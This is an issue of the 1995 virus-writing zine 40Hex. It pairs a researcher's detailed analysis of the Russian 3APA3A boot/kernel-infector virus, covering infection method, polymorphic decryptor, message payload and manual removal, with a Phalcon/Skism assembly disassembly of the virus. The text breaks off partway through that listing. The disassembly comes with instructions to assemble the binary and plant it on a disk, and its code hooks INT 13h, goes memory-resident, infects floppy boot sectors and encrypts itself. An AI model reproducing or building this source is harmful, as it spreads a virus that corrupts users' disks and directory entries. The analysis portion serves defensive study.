Copy Link
Add to Bookmark
Report
40Hex Issue 14 File 007
40Hex Number 14 Volume 5 Issue 1 File 007
Virus Spotlight: 3APA3A (ZARAZA)
This is a new virus which has come out of Russia. It has received a lot of
publicity in the virus and anti-virus communities due to the unusual manner
in which it infects. The following article, written by Igor G. Muttik, is a
good description of the virus. A disassembly of the virus follows this text.
Dark Angel
Phalcon/Skism '95
---------------------------------
3APA3A virus -- the first kernel infector.
==========================================
Igor G. Muttik
Low Temperature Physics Laboratory,
Physics Department,
Moscow State University, 117234, Russia
Phones: +7 095 9391147
+7 095 3396238
Email: MIG@lt.phys.msu.su
KEYWORDS
--------
Virus, kernel, boot virus, resident, boot sector, kernel infector.
ABSTRACT
--------
A new virus, which was found in Moscow in the wild is described. It
infects floppy disks as a normal boot virus. As against to normal boot
viruses, it infects DOS kernel file (IO.SYS or IBMBIO.COM, etc.) on the
hard disk. Thus, this virus can be regarded as a representative of a new
virus type - "kernel infectors". Description of the virus internals is
given. The virus structure, properties and behavior are discussed.
Details on the polymorphicity of 3APA3A are presented. Given partial
dumps may help to detect and cure the virus, but cannot be used to
reconstruct it.
INTRODUCTION
------------
This new virus appeared in Moscow (Russia). It was found in the
wild in Moscow 12-14 October 1994. The virus was named "3APA3A" (in
Russian it stands for some slang form of "INFECTION"). The message with
this string is stored (encrypted) in the body of the virus.
Size of the virus is 1024 bytes (exactly two sectors on the floppy
disk or on the hard drive). The virus is multipartite: it infects boot
sectors on the floppy disks and DOS core file (IO.SYS for MS-DOS;
IBMBIO.COM for PC-DOS; etc.). Infection of the floppies is alike many
known boot-sector viruses, but the algorithm of the hard drive infection
is unique. Therefore, the virus belongs to a new virus class, which was
named "kernel infectors". The virus does not analyze the name of DOS
core file and I shall use IO.SYS name below for simplicity (it may also
be IBMBIO.COM or any other). Once the hard drive has been infected, the
virus activates every time the computer is turned on.
On the floppy disk, the first half of the virus is stored in the
boot sector. Original floppy boot sector and the second half of the
virus are stored at the very end of the root directory of the diskette.
Thus, when infecting the floppy disk, the virus overwrites two last
sectors in its root directory.
On the hard drive the virus is at the very beginning of the DOS
core file (IO.SYS. IBMBIO.COM, etc.) -- it takes 1k.
INFECTION STRATEGY
------------------
After boot from the infected floppy disk, the virus tries to infect
the first file in the root directory of the first DOS partition (usually
it is IO.SYS file). Map of memory usage (at the moment of HDD infection)
is given in Fig.1. The virus uses segment 7C00 (not 7C0!) for its own
buffer (3.5k+sizeof(IO.SYS)). This segment value -- 7C00 corresponds to
(512k-16k). Computer memory size equal to 512k will be usually
insufficient for normal virus operation, because size of the core file
(IO.SYS/IBMBIO.COM) exceeds 16k in most modern DOS versions. Sizes of
the system files for some DOS versions are given in Fig.2. Therefore,
the virus is hardly viable on the computers without 640k.
3APA3A virus assumes that the active DOS partition has a boot
sector at CX=0001, DX=0180 (INT_13 notation: i.e., 1st HDD, head=1,
sector=1). It tries to infect only this first partition. If active boot
sector is anywhere else - 3APA3A will fail to infect hard disk properly.
The virus does not even read MBR to investigate disk partitioning.
The virus can only infect the hard drive, if the first DOS
partition is bigger than 10.6MB (i.e., if it uses 16-bit FAT; the virus
cannot infect other FAT types). That was probably done for simplicity,
because it will be more difficult to handle 12-bit FATs (or even both
FAT types). The author of the 3APA3A virus, probably, decided to make
the virus shorter. Fortunately (for him), 16-bit FATs are much more
frequent now than 12-bit and much easier to handle. Actually, the virus
checks whether total number of sectors in media (i.e., in the first
partition) is greater than 5103h or zero. Corresponding fragment of code
is given in Fig.3. The comparison with zero is really needed, because
all partitions, which have more than 65535 sectors (>32MB) carry zero in
this field (and always uses 16-bit FATs).
3APA3A virus does not check neither attributes of the first
directory entry, nor its name -- it will even "infect" a subdirectory
entry if it is located at the very first position in the root directory
of the hard disk (that is possible under DOS 5.0 or higher). When
infecting this first entry, the virus duplicates it (i.e., copies IO.SYS
file cluster chain, duplicates its directory entry and updates the FATs)
and then infects the original IO.SYS file. It also marks this duplicated
directory entry with a volume-label bit. This bit serves as an infection
marker (if it is set, 3APA3A virus decides that the hard drive is
already infected). This bit (when set) simultaneously preserves the
infected IO.SYS file from DOS file access -- all DOS file-oriented
functions AH=3Dh, 3Eh, 3Fh, 40h will skip this entry. Moreover, this
infected file will be not mentioned in the directory listing, because of
this bit. That looks like a smart non-resident type of stealth virus.
The virus reads only 5 sectors of the root directory of the first
DOS partition (others are ignored). 3APA3A virus makes a root directory
modification using two shifts (see Fig.4). The first copies entries #3-
#79 to the location of #4-#80. The second copies #1 (IO.SYS) to #3. The
first shift erases one directory entry (#80, the very last on the 5th
directory sector) and it is unrecoverably lost. If this entry was a
subdirectory -- all files in it will become inaccessible. Two shifts are
needed to guarantee that the first two entries are still IO.SYS and
MSDOS.SYS. That is done by the virus to achieve maximum compatibility
-- some old versions of DOS (prior to DOS 5.0) require IO.SYS and
MSDOS.SYS at the very beginning of the root directory and the virus
tries to follow this rule.
After directory modification we have two IO.SYS entries in the root
directory, but the first is not shown in the directory listing, because
this entry has volume-label bit set. Both mentioned directory entries
point on two copies of IO.SYS. The first IO.SYS (infected) is located in
its old place and it differs from the original in only first 1024 bytes
(now, after infection, it is a virus itself). The second IO.SYS
directory entry points on a clone of the original IO.SYS file
(uninfected), which was copied by the virus to the very end of the first
DOS partition. When copying original IO.SYS cluster-by-cluster to the
partition end, the virus checks whether there is free place on disk (it
reads last sector of FAT). Scanning this last FAT sector (it represents
256 clusters), the virus accurately skips used clusters. If there is no
more free clusters (among these 256) -- the virus will stop the entire
infection process. But if there is a place for IO.SYS copy -- it will be
created. This second IO.SYS copy at the disk end serves for two purposes
-- as a source of the original IO.SYS start (1k) and as a decoy for
scanners and integrity checkers (they will probably prefer to
scan/analyse this non-volume-labeled file).
When computer is turned on, DOS boot sector (which was not modified
by the virus in any way, as well as a master boot record MBR) runs.
There is no DOS file system yet and the program in the boot sector
"simply" reads the root directory of the hard disk and finds the first
IO.SYS entry. This entry points on the infected IO.SYS file.
Unfortunately, DOS boot record program ignores volume-label bit, unlike
DOS file system. Thus, the infected copy of the DOS core file IO.SYS is
started by DOS boot sector at each computer reboot.
When the virus gains control, it saves itself in the computer
memory (like a normal boot-sector virus) -- decreases the memory
available to DOS on 2 kilobytes (it changes the word at address
[0:413]). A reduction in DOS memory is a usual sign of presence of a
boot virus. The location of the virus in computer memory is easily
calculated. For example, for a normal 640k computer, code segment of the
virus will be 9F80. The virus intercepts only disk i/o interrupt
(INT_13). Now all accesses to the floppy disks result in their
infection. The virus infects floppy disks both in A: and B: drives.
Finally, it passes the control to the original IO.SYS.
INTERNAL VIRUS STRUCTURE
------------------------
The virus consists of two parts (sectors, 512 bytes each). These
two parts are pretty independent! The first (which is stored in the
floppy boot sector) is responsible for infection of the hard drive (it
checks for virus presence on the hard drive, copies IO.SYS to the
partition end, modifies root directory, updates all FATs, makes new
IO.SYS with the virus code (1k) at the very start, makes IO.SYS
directory entry with a volume-label bit set, and calls original floppy
boot sector. At the very end this part stores the location of the
infected IO.SYS for future use of the second virus part. The second
virus sector (IO_sector) contains trigger routine, message payload,
resident installer and INT_13 handler with "polymorphic" encryption
routine.
The first virus sector is in a boot sector of the contaminated
diskette, the second virus sector -- in the last sector of root
directory. On the hard disk this sequence is opposite -- infected IO.SYS
is started with mentioned second virus sector (IO_sector), which is
followed by a boot sector.
Therefore, first virus sector contains a program to infect hard
drive and IO_sector is simply placed into IO.SYS and not executed in any
part. The IO_sector contains a program to infect floppy disks and it
simply places infected boot sector (after appropriate encryption) on the
floppy disk.
Two virus parts (boot sector and IO_sector) work at different time
(first -- only at boot from the infected floppy, second -- only at boot
from the hard drive) and virus boot sector only once passes a parameter
(DX:AX) to the IO_sector. Only one procedure is shared by both virus
parts -- which converts sector# in DX:AX into CX=sec/cyl, DH=head (and
the virus has to patch offset in E8 call to this procedure, because it
is located at different offset now, not in 0000:7C00, as at boot time;
this procedure is at 7DD3 and/or at 3D3).
Unlike many other boot sector viruses, 3APA3A encrypts its code (in
a floppy boot sector). Moreover, 3APA3A virus is slightly polymorphic,
which is even more unusual -- decryptor of the infected boot sector is
variable. By the way, only very few boot-sector viruses have
polymorphic properties. The dump of the virus decryption routine is
given in Fig.5. The order of instruction is fixed. Random value (word)
is taken from BIOS timer counter [0:46C]. There are 8 types of
encryption routine (4 use DI register, 4 use SI). Probability of SI
usage is 3 times higher, than usage of DI. One can see that the offset
of decryptor's terminating jump is encrypted with 25% probability (byte
at 7C2B, which is an offset of a conditional jump, is encrypted with the
mentioned probability). Thus, the virus decryptor will hang with a 25%
probability on 386 and 486 processors. Lower processors (8088-80286)
have a small queue (8088,80188,V20=4; 8086,80186,V30=6; 80286=8) and it
is not sufficient to store whole decryption cycle and cause a hang.
Pentium is free of this problem, because it can detect the access to the
pre-fetched bytes and flash the queue. On 80386-80486 processors the
virus will hang with 25% probability when booting from floppy disk if
the JNZ offset was encrypted -- data in memory and in processor queue
will become different during decryption, processor will go into garbage
codes and hang.
Because of the encryption, only string like 'MSDOS 5.0' is visible
at the beginning of the boot sector (this string is a reminiscence of an
original boot sector of a floppy disk). Obviously, 55AA marker is
present at the very end of the boot-sector. Second virus part
(IO_sector), which is placed at the very last sector of the root
directory of the floppy disk, is not encrypted at all. Its location is
stored inside the code of the first virus sector at the moment of floppy
infection.
Two bytes in the boot sector are used as an infection marker --
byte at offset 18h must be zero and byte at 21h must be 2Eh (first is
byte from BPB, second -- constant byte in the decryption routine,
CS: prefix). Prior to the infection of floppy disk the virus performs
checks whether this marker is already present. If this is the case --
the virus decides that floppy disk is already infected.
If, occasionally, you will place too many files in the root
directory of the floppy and the directory entries will overwrite the
second virus sector (IO_sector) -- this floppy disk will become a
carrier of a damaged virus. If now any hard drive will be infected with
this floppy, it will become unbootable (start of IO.SYS file will carry
the directory entries from the floppy directory, instead of the virus
body).
The structure of the second virus sector (IO_sector) is shown in
Fig.6. DOS boot sector loads this code (as a part of normal IO.SYS) to
computer memory. After virus code (first 1k in IO.SYS) follows normal
IO.SYS image. The virus moves its own code (this 1k) to CS=9F80 (for a
normal 640k PC) and replaces it with an original IO.SYS start. Original
IO.SYS start is read from hard disk and its position was stored inside
the virus body at the moment of hard drive infection. Final RETF
transfers control to the original IO.SYS image, which was "assembled" in
memory by 3APA3A virus.
Memory map usage of 3APA3A virus, when it is resident in the
computer memory, is given in Fig.7. When the virus analyses an access to
the floppy drive, sitting on the INT_13, it does not perform full check
whether boot sector is accessed (usually AH=02, CX=0001, DH=0), but it
calculates the sum DH+CL+CH and decides that boot sector is accessed if
it is equal to 1. That is not very compatible approach (because AH is
ignored at all) and I have found one program, which confused 3APA3A
and virus even tried to access empty A: and B: drives. This program is
PU_1700.COM -- a resident BIOS extension to format/access floppies of
1.44MB size in a 5.25" high-density floppy drives. When PU_1700 is
loaded with the virus active in memory, both floppy drives turn on their
LEDs.
Unusual method is used by the virus to access original INT_13
routine from inside of virus INT_13 handler. The virus patches its own
program (Fig.8) -- places JMP instruction near the beginning of its own
handler, i.e., it "closes the window leaf". Now the virus makes an
INT_13 call (it is, obviously, reentrant call). Upon return from this
call the "window leaf" is opened back (JMP is replaced with JNZ).
The virus carries the following message -- "B BOOT CEKTOPE -
3APA3A!" This string is in Russian, and translation is -- "IN BOOT
SECTOR - INFECTION!". Besides its usual use as "infection/contagion",
"3APA3A" in Russian designates something particularly boring and
annoying.
This string is encrypted (it is located at offset 9A in the
IO_sector of the virus, its length is 1A bytes) and it is not visible
even in memory. It will be printed in August on each reboot from the
hard drive (the virus calls INT_1A/AH=04 and checks if DH=08).
Obviously, the virus will never print the message on XT computers,
because they do not support INT_1A/AH=04 (have no AT-CMOS clock). If the
message is not printed, the virus does not advertise its presence at
all. It is, therefore, quite difficult to spot.
Method of the encryption of this string is somewhat unusual (see
Fig. 9). It looks like a "delta"-coding, because the current byte in the
series, when being added to the previous character code, gives the next
one. The virus message terminates with ASCII codes "07", "0D", "10" (see
Fig.9). First is a beep, second is a carriage return symbol (CR), but
the last is probably cased by a mistype of the virus author. He probably
wanted to type CR, LF (normal string terminator), but used hexadecimal
10, instead of decimal (i.e., 10h instead of 0Ah).
The virus message is written in Russian, but is composed only of
the pure English ASCII symbols. The reason is simple -- message is
printed at boot time, when software Cyrillic character generator is not
yet loaded, so it is not possible to use Cyrillic letters. The only
way -- to compose message from normal ASCII letters and digits (digit
"3" represents Russian letter, which sounds like "Z").
Correct spelling of the virus name -- "3APA3A" in Russian is
"ZARAZA". Here all "Z" sound like in "zero" and all "A" sound like "u"
in "cut".
3APA3A virus carries no special destructive payload.
3APA3A: TREATMENT AND RUMORS
----------------------------
After infection of the hard disk the first root directory entry is
always marked with a volume label bit. Therefore, old disk volume label
will be not shown and the infected hard disk will usually carry label
"IO SYS" (or "IBMBIO COM" for PC-DOS, etc.). It will be reported
by DIR and LABEL command. The most noticeable effect of virus presence
is an unusual disk label.
This new "label" is uneraseable and unchangeable even with a LABEL
command. Probably DOS is confused with a strange volume label, which has
a non-zero length and it refuses to change it. Unfortunately, DOS even
does not report that he fails to change (delete) the disk label -- no
error or warning message is given.
First attempt of an inexperienced user to remove the virus may be
the usage of undocumented FDISK /MBR call, which reinitializes the MBR
program, leaving partition table intact. Obviously, this approach not
works, because the virus is not stored in the MBR. Reinitialization of
DOS boot sector will not help too. That is because copy of the virus
code is neither in MBR, nor in DOS boot sector, but in IO.SYS file.
The most reasonable operation is to try to get rid of the 3APA3A
virus using SYS C: command. Unfortunately it does not work too! And even
after booting from the clean diskette! The reason is obvious -- SYS C:
will modify/remove the second copy of the IO.SYS file (uninfected
copy!), which is located at the very end of the first DOS partition. The
infected copy of IO.SYS will not be rewritten, because volume-label bit
preserved it from being recognized by SYS program as a DOS core file.
CHKDSK (in MS-DOS) will always report errors on the infected hard
disk, because it will be alarmed with a FAT chain, attached to the
volume-labeled file. Note, that MS-DOS and DR-DOS behaves differently
with "volume-labeled" files.
Norton Disk Doctor (I tested NDD from Norton Utilities 6.0) gives
no warnings on the contaminated hard disk.
Note that many disk optimizers (like Norton SpeedDisk) prefer to
place the subdirectories in the very beginning of the root directory
(it is possible only in later versions of DOS, probably starting at
5.00). The virus does not check if IO.SYS is really the first entry in
the root directory (only checks volume bit!), so it can easily take the
first directory in the root and regard it as an infectable DOS core
file! Such an attempt to "infect" the hard drive will fail -- the virus
will perform all its actions, but original IO.SYS will be intact.
Presence of duplicated subdirectory (if it was the 1st entry) will not
affect normal operation of the computer, because this duplicated
subdirectory with volume-label bit will be ignored by DOS. And original
IO.SYS (placed by SpeedDisk somewhere else in the root directory) will
be uninfected. Only CHKDSK will report disk errors.
The simple sequence of actions to remove the virus from hard drive
is the following:
1. Delete IO.SYS file (original uninfected copy). You may need to
remove Hidden/System/Read-Only attributes to do that (for example use
Norton Commander).
2. Remove "Vol" attribute from the infected IO.SYS in the root (you
can use Norton DiskEdit to do this; infected volume-labeled IO.SYS is
the 1st directory entry).
3. Delete IO.SYS file (infected copy). You may need to remove
Hidden/System/Read-Only attributes to do that (for example use NC).
4. Run CHKDSK /F and inspect/remove FILE00xx.CHK if any (some disk
errors may have been appeared on the hard disk because of the lost #80
dir entry).
5. Run SYS C: from the system floppy disk to restore IO.SYS.
Note: Actions 1)-3) can be done with Norton DiskEdit.
The virus is very virulent, but we hope that the infection will be
local, because anti-3APA3A measures were undertaken shortly. The users
were notified about the possible threat and anti-virus programs
appeared, which are capable to detect and remove 3APA3A from diskettes
and from the hard drive.
There is an unconfirmed information that currently available 3APA3A
virus is actually the second virus in the strain. According to the
information from Russian anti-virus circles, there was a previous
version, which was released in March 1994 and computers in some banks in
Moscow were contaminated. The author of 3APA3A virus wrote a couple of
Email messages, which were delivered through Fidonet without the
originating address and they had a signature "Gena". Last stands for the
male name. He insisted that there are at least two versions in the wild.
He claimed that he already created more "powerful" version(s), but they
are still in the "research phase" and not yet in the wild. He also wrote
that his viruses were caught with such a big delay, that he is fully
contented. There is also a rumor that the author of 3APA3A viruses was
forced to delete all his assembler texts by indignant PC users.
ACKNOWLEDGEMENTS
----------------
I am acknowledged to VForum members for the fruitful discussion of
3APA3A properties (especially to Anthony Naggs, Vesselin Bontchev and
Paul Ducklin). I am also acknowledged to Igor Daniloff (SALD, Saint-
Petersburg, Russia).
FIGURES
-------
Figure 1. Map of memory usage of 3APA3A virus, when the virus boot
sector is infecting the hard drive.
Address Size Function (buffer for)
-------------------------------------------------------
7C00:0000 200h Hard drive boot sector
7C00:0200 2 AX for INT_13 (0201h, 0301h, etc.)
7C00:0202 1 DH for INT_13 (usually 80h)
7C00:0203 200h FAT end
7C00:0403 A00h HDD Root directory, 5 sectors only!
7C00:0E03 200h FAT start
7C00:1003 2000h 1 cluster of original IO.SYS (*)
7C00:3003 2000h 2 cluster
7C00:5003 2000h 3 cluster
7C00:7003 2000h 4 cluster
7C00:9003 2000h 5 cluster
7C00:B003 2000h 6 cluster
... ... ...
7C00:xx03 2000h last IO.SYS cluster
-------------------------------------------------------
(*) Cluster size was taken 8192 bytes (16 sectors) only for example.
It may be different according to sectors/cluster ratio.
Figure 2. Sizes of DOS system files for different versions (in bytes).
-------------------------------------------------------------
DOS version DOS type IO/IBMBIO MSDOS/IBMDOS COMMAND.COM
--------------------------------------------------------------
1.00 PC 2047 6400 4959
2.00 PC 4907 17411 18160
3.00 PC 8964 27920 22042
3.30 MS 22357 30128 25276
4.00 PC 32810 35984 37637
4.01 MS 33337 37376 37557
5.00 MS 33430 37394 47845
6.20 MS 40566 38138 54500
--------------------------------------------------------------
Figure 3. Virus code fragment, which checks whether partition uses 16
bit FAT or not.
7C75 A11300 MOV AX,[0013] ;total sectors in media on HDD
7C78 48 DEC AX ;0000 -> FFFF (for big disks!)
7C79 3D0351 CMP AX,5103 ;16 bit FAT guaranteed!
7C7C 76B1 JBE 7C2F ;pass control to floppy boot
...
Figure 4. Modification of the root directory of first DOS partition by
3APA3A virus: a) initial layout, b) after first shift c) after copying
of IO.SYS entry to 3rd position.
------------- ------------- -------------
#1 IO.SYS IO.SYS IO.SYS -> infected IO.SYS
------------- ------------- -------------
#2 MSDOS.SYS MSDOS.SYS MSDOS.SYS
------------- ------------- -------------
#3 FILE0003.EXT FILE0003.EXT IO.SYS -> copy of IO.SYS
------------- ------------- -------------
#4 FILE0004.EXT FILE0003.EXT FILE0003.EXT
------------- ------------- -------------
...
------------- ------------- -------------
#79 FILE0079.EXT FILE0078.EXT FILE0078.EXT
------------- ------------- -------------
#80 FILE0080.EXT FILE0079.EXT FILE0079.EXT
------------- ------------- -------------
a) b) c)
Figure 5. The decryptor of virus floppy boot sector is polymorphic. A
caret "^" symbol designates variable bytes. Number in brackets
corresponds to a comment below.
7C1E BE2C7C MOV SI,7C2C ;starting address
^^^^ (1)
7C21 2E CS: ;infection marker! (1 byte of 2)
7C22 800470 ADD BYTE PTR [SI],70
^^^^^^ (2)
7C25 46 INC SI
^^ (3)
7C26 81FEFB7D CMP SI,7DFB ;upper limit ?
^^^^ (4)
7C2A 75F5 JNZ 7C21 ;<- JNZ offset may be encrypted
^^ (5)
7C2C ...
(1) These two bytes are variable and may be: 2BBE, 2CBE, 2DBE or 2EBF.
Makes: MOV SI, 7C2B; MOV SI, 7C2C; MOV SI, 7C2D; MOV DI, 7C2E.
Thus, start of encryption at address: 7C2B, 7C2C, 7C2D, 7C2E
(with equal probability).
(2) These three bytes are variable:
F61490 or F61590 NOT BYTE PTR [SI] ;or [DI] (3rd byte is 90h)
8004xx or 8005xx ADD BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
802Cxx or 802Dxx SUB BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
8034xx or 8035xx XOR BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
(3) This byte may be 46 (INC SI, 75% probability) or
47 (INC DI, 25% probability)
(4) These two bytes are variable: FAFE, FBFE, FCFE or FDFF.
Makes: CMP SI,7DFA; CMP SI,7DFB; CMP SI,7DFE; CMP DI,7DFD)
(5) This byte may be encrypted (probability=25%)! And the virus
will hang on 386, 486 because of processor queue pre-fetch.
Figure 6. Global structure of the virus IO_sector.
0000:7C00 PUSH CS ;places startCS on stack
CALL $+3
POP SI ;gets relative position in CS
SUB SI,4 ;sizeof(PUSH+CALL)
PUSH SI ;places it on stack
;(startCS:SI=0000:7C00 is on stack)
PUSH AX/BX/CX/DX/DS/ES
---------------------
| viral code |
---------------------
---------------------
| copy virus |
| code to |
| ES=9F80 |
---------------------
PUSH ES ;ES=9F80
MOV AX,006C
PUSH AX ;(9F80:006C is on stack now)
RETF ;same as JMP 9F80:006C
9F80:006C ---------------------
| read 2 sectors |
| from original |
| IO.SYS to |
| 0000:7C00 | ;read 1k to startCS:SI=0000:7C00
| ... |
---------------------
POP ES/DS/DX/CX/BX/AX
RETF ;same as JMP 0000:7C00
Figure 7. Map of memory usage of 3APA3A virus, when it is resident in
computer memory (CS=9F80 and the virus sets DS=ES=9FA0).
----------------------------------------------------------------------
Address (same as) Size Function
CS:offset DS:offset (bytes) (buffer for)
----------------------------------------------------------------------
9F80:0000 200h IO_sector
9F80:0200 9FA0:0000 200h Virus boot sector
(used for encryption)
9F80:0400 9FA0:0200 2 0201/0301 (AX for INT_13)
9F80:0402 9FA0:0202 1 0/1 (DL for INT_13)
9F80:041E 9FA0:021E 1E2h Virus boot sector code (orig. copy)
9F80:0600 9FA0:0400 200h Current floppy boot sector
----------------------------------------------------------------------
(*) Code segment CS=9F80 was taken for example. That is a location
of the virus for normal 640k computer (CS=A000-2k).
Figure 8. "Window leaf" in the interrupt 13h function of virus.
Leaf is "closed" at address 00BC and is opened at 00C4.
00B4 A10002 MOV AX,[0200] ;may be read and write
00B7 8A160202 MOV DL,[0202] ;drive # (0/80)
00BB 2E CS:
00BC C606E300EB MOV BYTE PTR [00E3],EB ;-> JMP ("close leaf")
00C1 CD13 INT 13
00C3 2E CS:
00C4 C606E30075 MOV BYTE PTR [00E3],75 ;-> JNZ ("open leaf")
00C9 7202 JB 00CD
00CB FC CLD
00CC C3 RET
...
; virus INT_13 handler (usually at 9F80:00D5)
00D5 50 PUSH AX
00D6 53 PUSH BX
00D7 51 PUSH CX
00D8 52 PUSH DX
00D9 56 PUSH SI
00DA 57 PUSH DI
00DB 1E PUSH DS
00DC 06 PUSH ES
00DD 55 PUSH BP
00DE 8BEC MOV BP,SP
00E0 F6C280 TEST DL,80 ;HDD (1st or 2nd)?
00E3 EBED JMP 00D2 ;<- see 00C4 & 00BC (set JNZ/JMP)
;here if not HDD
00E5 02F1 ADD DH,CL
00E7 02F5 ADD DH,CH
00E9 80FE01 CMP DH,01 ;DH=CH+CL+DH=1 if boot sector
00EC 77E4 JA 00D2 ;exit from handler
...
Figure 9. The virus code fragment, which prints the message
"B BOOT CEKTOPE - 3APA3A! <BELL> <0Dh> <10h>"
000F B404 MOV AH,04 ;get CMOS date
0011 CD1A INT 1A
0013 80FE08 CMP DH,08 ;August?
0016 7512 JNZ 002A
0018 8D9C9A00 LEA BX,[SI+009A] ;pointer on message
001C B8420E MOV AX,0E42 ;tty output, ASCII(42)='B'
001F B91A00 MOV CX,001A ;length
;
0022 CD10 INT 10
0024 2E CS:
0025 0207 ADD AL,[BX] ;sum all prev. chars in AL
0027 43 INC BX ;increase pointer
0028 E2F8 LOOP 0022
...
009A DE220D0005CC2302 ;this table stores values,
00A2 0609FB01F5DB0DF3 ;which being added to previous char
00AA 130E0FF1F20EE0E6 ;gives new one (smth. like "delta"-coding)
00B2 0603 ;last char has an error - 10h instead of LF
---------------------------------------------------
; To assemble, simple run TASM and TLINK on this file and generate a binary.
; The first 512d bytes of the binary will contain the portion of the virus
; which resides in IO.SYS. The second 512d bytes will contain the boot
; section portion of the virus.
; Installation is slightly more difficult. It requires you to simulate
; an infection with 3apa3a. Read the text above for information. Basically,
; you have to fill in the BPB in the boot sector, fill in the patch values,
; and then move the pieces onto the disk properly.
.model tiny
.code
.radix 16
org 0
; 3apa3a virus
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14
zero:
_3apa3a: push cs
call doffset
doffset: pop si
db 83,0EE,4 ; sub si,4
push si ax bx cx dx ds es
mov ah,4 ; get date
int 1Ah
cmp dh,8 ; september?
jne no_activate
lea bx,cs:[si+message-_3apa3a]
mov ax,0E42 ; begin with B
mov cx,endmessage - message
display_loop: int 10 ; print character
add al,cs:[bx] ; calculate next character
inc bx
loop display_loop
no_activate: cld
xor ax,ax ; ds = 0
mov ds,ax
push cs ; es = cs
pop es
lea di,[si+offset old_i13]
push si
mov si,13*4 ; grab old int 13 handler
movsw
movsw
mov ax,ds:413 ; get BIOS memory size
dec ax ; decrease by 2K
dec ax
mov ds:413,ax ; replace the value
mov cl,6 ; convert to paragraphs
shl ax,cl
mov [si-2],ax ; replace interrupt handler
mov word ptr [si-4],offset i13
mov es,ax ; move ourselves up
push cs
pop ds si
xor di,di
mov cx,200
push si
rep movsw ; copy now!
inc ch ; cx = 1
sub si,200 ; copy rest
rep movsw
pop si
push cs es
mov ax,offset highentry
push ax
retf
highentry: mov ax,7C0
mov ds,ax
mov word ptr ds:200,201
mov byte ptr ds:202,80
les ax,dword ptr cs:203
mov dx,es
pop es
mov bx,si
mov cx,1
mov word ptr cs:3C2,0FCF0 ; patch work_on_sectors to call
call work_on_sectors ; do_i13
pop es ds dx cx bx ax
retf
message: db ' ' - 'B'
db 'B' - ' '
db 'O' - 'B'
db 'O' - 'O'
db 'T' - 'O'
db ' ' - 'T'
db 'C' - ' '
db 'E' - 'C'
db 'K' - 'E'
db 'T' - 'K'
db 'O' - 'T'
db 'P' - 'O'
db 'E' - 'P'
db ' ' - 'E'
db '-' - ' '
db ' ' - '-'
db '3' - ' '
db 'A' - '3'
db 'P' - 'A'
db 'A' - 'P'
db '3' - 'A'
db 'A' - '3'
db '!' - 'A'
db 7 - '!'
db 0Dh - 7
db 10 - 0Dh
endmessage:
do_i13: mov ax,ds:200
mov dl,ds:202
mov byte ptr cs:patch,0EBh ; jmp absolute
int 13 ; do interrupt
mov byte ptr cs:patch,75 ; jnz
jc retry_error
cld
retn
retry_error: cmp dl,80 ; first hard drive?
je do_i13 ; if so, retry
go_exit_i13: jmp exit_i13 ; otherwise quit
i13: push ax bx cx dx si di ds es bp
mov bp,sp
test dl,80 ; hard drive?
patch: jnz go_exit_i13
add dh,cl ; check if working on
add dh,ch ; boot sector or
cmp dh,1 ; partition table
ja go_exit_i13 ; if not, quit
mov ax,cs ; get our current segment
add ax,20 ; move up 200 bytes
mov ds,ax
mov es,ax
mov word ptr ds:200,201 ; set function to read
mov ds:202,dl ; set drive to hard drive
mov bx,400 ; set buffer
xor dx,dx ; read in the boot sector
push dx
mov cx,1
call do_i13 ; read in boot sector
cmp byte ptr ds:400+21,2E ; check if 3apa3a already there
je go_exit_i13
cmp byte ptr ds:400+18,0
je go_exit_i13
push cs
pop es
mov di,203
mov si,403
mov cx,1Bh ; copy disk tables
cld
rep movsb
sub si,200 ; copy the rest
mov cx,1E2
rep movsb
inc byte ptr ds:201 ; set to write
mov ax,ds:16 ; get sectors per FAT
mul byte ptr ds:10 ; multiply by # FATs
mov bx,ds:11 ; get number of sectors
mov cl,4 ; occupied by the root
shr bx,cl ; directory
db 83,0FBh,5 ; cmp bx,5 ; at least five?
jbe go_exit_i13 ; if not, quit
add ax,bx ;
add ax,ds:0E ; add # reserved sectors
dec ax ; drop two sectors to find
dec ax ; start of last sector
xor dx,dx ; of root directory
push ax dx
call abs_sec_to_BIOS
mov ds:patch1-200,cx ; move original boot
mov ds:patch2-200,dh ; sector to the end of the
xor bx,bx ; root directory
call do_i13
pop dx ax
dec ax
call abs_sec_to_BIOS
mov ds:34,cx ;patch3 ; write io portion to
mov ds:37,dh ;patch4
add bh,6 ; bx = 600
call do_i13
push ds
xor ax,ax
mov ds,ax
mov dx,ds:46C ; get timer ticks
pop ds
mov bl,dl ; eight possible instructions
db 83,0E3,3 ; and bx,3
push bx
shl bx,1 ; convert to word index
mov si,bx
mov cx,es:[bx+encrypt_table]
pop bx
push bx
mov bh,bl
shr bl,1 ; bl decides which ptr to use
lea ax,cs:[bx+2BBE] ; patch pointer
mov ds:[decrypt-bs_3apa3a],ax ; and start location
add ch,bl
mov ds:[encrypt_instr-bs_3apa3a],cx
add ax,0CF40
mov ds:[patch_endptr-bs_3apa3a],ax
pop ax
push ax
mul dh
add al,90 ; encode xchg ax,??
add bl,46 ; encode inc pointer
mov ah,bl
mov ds:[patch_incptr-bs_3apa3a],ax
mov dx,word ptr cs:[si+decrypt_table]
mov word ptr cs:decrypt_instr,dx
pop di
db 83,0C7 ;add di,XX ; start past decryptor
dw bs_3apa3a_decrypt - bs_3apa3a
org $ - 1
mov si,di
push ds
pop es
mov cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt
mov ah,al
encrypt_loop: lodsb
decrypt_instr: add al,ah
stosb
loop encrypt_loop
pop dx
mov cx,1 ; write the replacement
xor bx,bx ; boot sector to the disk
call do_i13
exit_i13: mov sp,bp
pop bp es ds di si dx cx bx ax
db 0EAh
old_i13 dw 0, 0
decrypt_table: not al
sub al,ah
add al,ah
xor al,ah
encrypt_table dw 014F6 ; not
dw 0480 ; add
dw 2C80 ; sub
dw 3480 ; xor
; This marks the end of the IO.SYS only portion of 3apa3a
; The boot sector portion of 3apa3a follows.
adj_ofs = 7C00 + zero - bs_3apa3a
bs_3apa3a: jmp short decrypt
nop
; The following is an invalid boot sector. Replace it with
; yours.
db ' '
db 00, 00, 00, 00, 00, 00
db 00, 00, 00, 00, 00, 00
db 00, 00, 00, 00, 00, 00
db 00
decrypt: db 0BF ; mov di,
dw adj_ofs + bs_3apa3a_decrypt
decrypt_loop: db 2e ; cs:
encrypt_instr label word
db 80,2Dh ; sub byte ptr [di],XX
